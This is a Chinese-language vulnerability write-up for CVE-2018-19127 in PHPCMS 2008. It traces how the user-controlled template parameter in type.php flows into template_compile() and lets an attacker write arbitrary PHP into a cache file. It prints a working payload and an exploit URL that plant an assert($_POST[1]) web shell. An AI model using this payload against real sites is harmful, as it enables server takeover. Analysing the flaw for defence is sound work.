(CVE-2018-19127)Phpcms2008 Type.php代码注入漏洞

一、漏洞简介

PHPCMS 2008存在的代码注入漏洞,导致攻击者可向网站上路径可控的缓存文件写入任意内容,从而可能获取webshell并执行任意指令。

二、漏洞影响

三、复现过程

漏洞分析

该漏洞源于PHPCMS 2008源码中的/type.php文件。该文件包含如下代码:

if(empty($template)) $template = 'type';
...
include template('phpcms', $template);

这里$template变量是用户能够通过传入参数控制的,同时可以看到该变量之后会被传入template()方法。而template()方法在/include/global.func.php文件中定义,包含如下代码:

template_compile($module, $template, $istag);

不难看出,这里会继续调用/include/template.func.php中的template_compile():

function template_compile($module, $template, $istag = 0)
{
    ...
    $compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
    $content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
    $strlen = file_put_contents($compiledtplfile, $content);
    ...
}
`

在这个方法中,$template变量同时被用于$compiledtplfile中文件路径的生成,和$content中文件内容的生成。

而前文所述的攻击payload将$template变量被设置为如下的值

tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

所以在template_compile()方法中,调用file_put_contents()函数时的第一个参数就被写成了data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php,这将被php解析成"data/cache_template/rss.tpl.php"。 最终,@unlink(_FILE_);assert($_POST[1]);将被写入该文件。

漏洞复现

当攻击者向安装有PHPCMS 2008的网站发送uri为如下文本的payload

https://www.0-sec.org/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

那么@unlink(_FILE_);assert($_POST[1]);这句恶意php指令将被写入网站的/cache_template/rss.tpl.php文件。